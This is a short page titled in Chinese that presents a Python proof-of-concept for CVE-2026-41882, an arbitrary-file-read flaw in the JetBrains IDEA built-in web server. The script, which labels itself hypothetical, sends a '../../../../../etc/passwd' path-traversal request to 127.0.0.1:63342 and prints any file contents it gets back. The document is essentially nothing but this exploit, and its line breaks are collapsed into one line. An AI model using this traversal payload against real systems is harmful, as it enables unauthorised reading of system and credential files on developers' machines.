CVE-2026-41882 JetBrains IDEA 任意文件读取漏洞

# PoC for CVE-2026-41882 (Hypothetical Example) import requests def check_vulnerability(target_url): # Payload attempting to read /etc/passwd (Linux) or C:\Windows\win.ini (Windows) # Adjust the path traversal sequence based on the actual vulnerability behavior traversal_payload = "../../../../../etc/passwd" try: # Construct the full malicious URL # Assuming the built-in server runs on a specific port or endpoint exploit_url = f"{target_url}/{traversal_payload}" response = requests.get(exploit_url, timeout=5) if response.status_code == 200: if "root:" in response.text: print(f"[+] Vulnerability confirmed! File content retrieved:") print(response.text[:200]) else: print(f"[?] Request successful but file content pattern not found.") else: print(f"[-] Exploit failed. HTTP Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with the actual target URL of the built-in web server target = "http://127.0.0.1:63342" check_vulnerability(target)